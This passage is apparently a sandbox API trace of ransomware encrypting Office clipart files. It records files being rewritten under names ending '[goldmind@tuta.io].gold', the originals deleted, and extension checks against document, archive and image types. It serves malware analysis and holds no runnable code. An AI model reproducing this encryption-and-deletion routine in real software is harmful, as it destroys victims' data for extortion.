[0091.054] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0091.054] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0091.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0091.055] GetLastError () returned 0x0 [0091.055] ReadFile (in: hFile=0x394, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0xe30, lpOverlapped=0x0) returned 1 [0091.057] WriteFile (in: hFile=0x3b0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xe40, lpOverlapped=0x0) returned 1 [0091.058] ReadFile (in: hFile=0x394, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0091.058] WriteFile (in: hFile=0x3b0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0091.058] SetEndOfFile (hFile=0x3b0) returned 1 [0091.058] CloseHandle (hObject=0x3b0) returned 1 [0091.058] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0091.058] SetEndOfFile (hFile=0x394) returned 1 [0091.060] CloseHandle (hObject=0x394) returned 1 [0091.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0091.060] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf")) returned 1 [0091.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0091.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0091.060] lstrlenW (lpString=".doc") returned 4 [0091.061] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.061] lstrlenW (lpString=".docx") returned 5 [0091.061] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0091.061] lstrlenW (lpString=".pdf") returned 4 [0091.061] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.061] lstrlenW (lpString=".xls") returned 4 [0091.061] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.061] lstrlenW (lpString=".xlsx") returned 5 [0091.061] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0091.061] lstrlenW (lpString=".ppt") returned 4 [0091.061] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0091.061] lstrlenW (lpString=".zip") returned 4 [0091.061] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.061] lstrlenW (lpString=".rar") returned 4 [0091.061] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.061] lstrlenW (lpString=".bz2") returned 4 [0091.061] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.061] lstrlenW (lpString=".7z") returned 3 [0091.061] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0091.061] lstrlenW (lpString=".dbf") returned 4 [0091.061] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0091.061] lstrlenW (lpString=".1cd") returned 4 [0091.061] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0091.061] lstrlenW (lpString=".jpg") returned 4 [0091.061] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0091.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0091.061] lstrlenW (lpString=".doc") returned 4 [0091.061] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.061] lstrlenW (lpString=".docx") returned 5 [0091.061] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0091.061] lstrlenW (lpString=".pdf") returned 4 [0091.061] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.061] lstrlenW (lpString=".xls") returned 4 [0091.061] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.061] lstrlenW (lpString=".xlsx") returned 5 [0091.061] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0091.061] lstrlenW (lpString=".ppt") returned 4 [0091.061] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0091.061] lstrlenW (lpString=".zip") returned 4 [0091.061] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.061] lstrlenW (lpString=".rar") returned 4 [0091.061] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.061] lstrlenW (lpString=".bz2") returned 4 [0091.061] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.061] lstrlenW (lpString=".7z") returned 3 [0091.062] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0091.062] lstrlenW (lpString=".dbf") returned 4 [0091.062] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0091.062] lstrlenW (lpString=".1cd") returned 4 [0091.062] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0091.062] lstrlenW (lpString=".jpg") returned 4 [0091.062] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.062] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0091.062] lstrlenW (lpString="DD01140_.WMF") returned 12 [0091.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0091.063] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=3616) returned 1 [0091.063] CloseHandle (hObject=0x394) returned 1 [0091.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf")) returned 0x20 [0091.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0091.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0091.063] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0091.063] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0091.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0091.064] GetLastError () returned 0x0 [0091.064] ReadFile (in: hFile=0x394, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0xe20, lpOverlapped=0x0) returned 1 [0091.065] WriteFile (in: hFile=0x3b0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xe30, lpOverlapped=0x0) returned 1 [0091.066] ReadFile (in: hFile=0x394, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0091.066] WriteFile (in: hFile=0x3b0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0091.066] SetEndOfFile (hFile=0x3b0) returned 1 [0091.067] CloseHandle (hObject=0x3b0) returned 1 [0091.067] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0091.067] SetEndOfFile (hFile=0x394) returned 1 [0091.068] CloseHandle (hObject=0x394) returned 1 [0091.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0091.069] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf")) returned 1 [0091.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0091.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0091.069] lstrlenW (lpString=".doc") returned 4 [0091.069] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.069] lstrlenW (lpString=".docx") returned 5 [0091.069] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0091.069] lstrlenW (lpString=".pdf") returned 4 [0091.069] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.069] lstrlenW (lpString=".xls") returned 4 [0091.069] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.069] lstrlenW (lpString=".xlsx") returned 5 [0091.069] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0091.069] lstrlenW (lpString=".ppt") returned 4 [0091.069] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0091.069] lstrlenW (lpString=".zip") returned 4 [0091.069] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.069] lstrlenW (lpString=".rar") returned 4 [0091.069] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.069] lstrlenW (lpString=".bz2") returned 4 [0091.069] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.069] lstrlenW (lpString=".7z") returned 3 [0091.069] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0091.069] lstrlenW (lpString=".dbf") returned 4 [0091.069] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0091.069] lstrlenW (lpString=".1cd") returned 4 [0091.070] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0091.070] lstrlenW (lpString=".jpg") returned 4 [0091.070] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0091.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0091.070] lstrlenW (lpString=".doc") returned 4 [0091.070] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.070] lstrlenW (lpString=".docx") returned 5 [0091.070] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0091.070] lstrlenW (lpString=".pdf") returned 4 [0091.070] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.070] lstrlenW (lpString=".xls") returned 4 [0091.070] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.070] lstrlenW (lpString=".xlsx") returned 5 [0091.070] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0091.070] lstrlenW (lpString=".ppt") returned 4 [0091.070] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0091.070] lstrlenW (lpString=".zip") returned 4 [0091.070] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.070] lstrlenW (lpString=".rar") returned 4 [0091.070] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.070] lstrlenW (lpString=".bz2") returned 4 [0091.070] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.070] lstrlenW (lpString=".7z") returned 3 [0091.070] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0091.070] lstrlenW (lpString=".dbf") returned 4 [0091.070] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0091.070] lstrlenW (lpString=".1cd") returned 4 [0091.070] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0091.070] lstrlenW (lpString=".jpg") returned 4 [0091.070] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.070] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0091.070] lstrlenW (lpString="DD01143_.WMF") returned 12 [0091.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0091.071] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=2140) returned 1 [0091.071] CloseHandle (hObject=0x394) returned 1 [0091.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf")) returned 0x20 [0091.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0091.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0091.071] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0091.071] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0091.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0091.072] GetLastError () returned 0x0 [0091.072] ReadFile (in: hFile=0x394, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x85c, lpOverlapped=0x0) returned 1 [0091.073] WriteFile (in: hFile=0x3b0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x860, lpOverlapped=0x0) returned 1 [0091.074] ReadFile (in: hFile=0x394, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0091.074] WriteFile (in: hFile=0x3b0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0091.074] SetEndOfFile (hFile=0x3b0) returned 1 [0091.074] CloseHandle (hObject=0x3b0) returned 1 [0091.074] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0091.074] SetEndOfFile (hFile=0x394) returned 1 [0091.077] CloseHandle (hObject=0x394) returned 1 [0091.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0091.079] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf")) returned 1 [0091.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0091.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0091.080] lstrlenW (lpString=".doc") returned 4 [0091.080] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.080] lstrlenW (lpString=".docx") returned 5 [0091.080] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0091.080] lstrlenW (lpString=".pdf") returned 4 [0091.080] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.080] lstrlenW (lpString=".xls") returned 4 [0091.080] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.080] lstrlenW (lpString=".xlsx") returned 5 [0091.080] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0091.080] lstrlenW (lpString=".ppt") returned 4 [0091.080] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0091.080] lstrlenW (lpString=".zip") returned 4 [0091.080] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.080] lstrlenW (lpString=".rar") returned 4 [0091.080] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.080] lstrlenW (lpString=".bz2") returned 4 [0091.080] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.080] lstrlenW (lpString=".7z") returned 3 [0091.080] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0091.080] lstrlenW (lpString=".dbf") returned 4 [0091.080] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0091.080] lstrlenW (lpString=".1cd") returned 4 [0091.080] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0091.080] lstrlenW (lpString=".jpg") returned 4 [0091.080] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0091.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0091.080] lstrlenW (lpString=".doc") returned 4 [0091.080] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.080] lstrlenW (lpString=".docx") returned 5 [0091.080] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0091.080] lstrlenW (lpString=".pdf") returned 4 [0091.080] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.080] lstrlenW (lpString=".xls") returned 4 [0091.080] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.080] lstrlenW (lpString=".xlsx") returned 5 [0091.080] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0091.080] lstrlenW (lpString=".ppt") returned 4 [0091.080] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0091.081] lstrlenW (lpString=".zip") returned 4 [0091.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.081] lstrlenW (lpString=".rar") returned 4 [0091.081] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.081] lstrlenW (lpString=".bz2") returned 4 [0091.081] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.081] lstrlenW (lpString=".7z") returned 3 [0091.081] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0091.081] lstrlenW (lpString=".dbf") returned 4 [0091.081] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0091.081] lstrlenW (lpString=".1cd") returned 4 [0091.081] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0091.081] lstrlenW (lpString=".jpg") returned 4 [0091.081] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.081] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0091.081] lstrlenW (lpString="DD01145_.WMF") returned 12 [0091.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0091.081] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=2780) returned 1 [0091.081] CloseHandle (hObject=0x394) returned 1 [0091.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf")) returned 0x20 [0091.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0091.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0091.082] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0091.082] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0091.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0091.082] GetLastError () returned 0x0 [0091.082] ReadFile 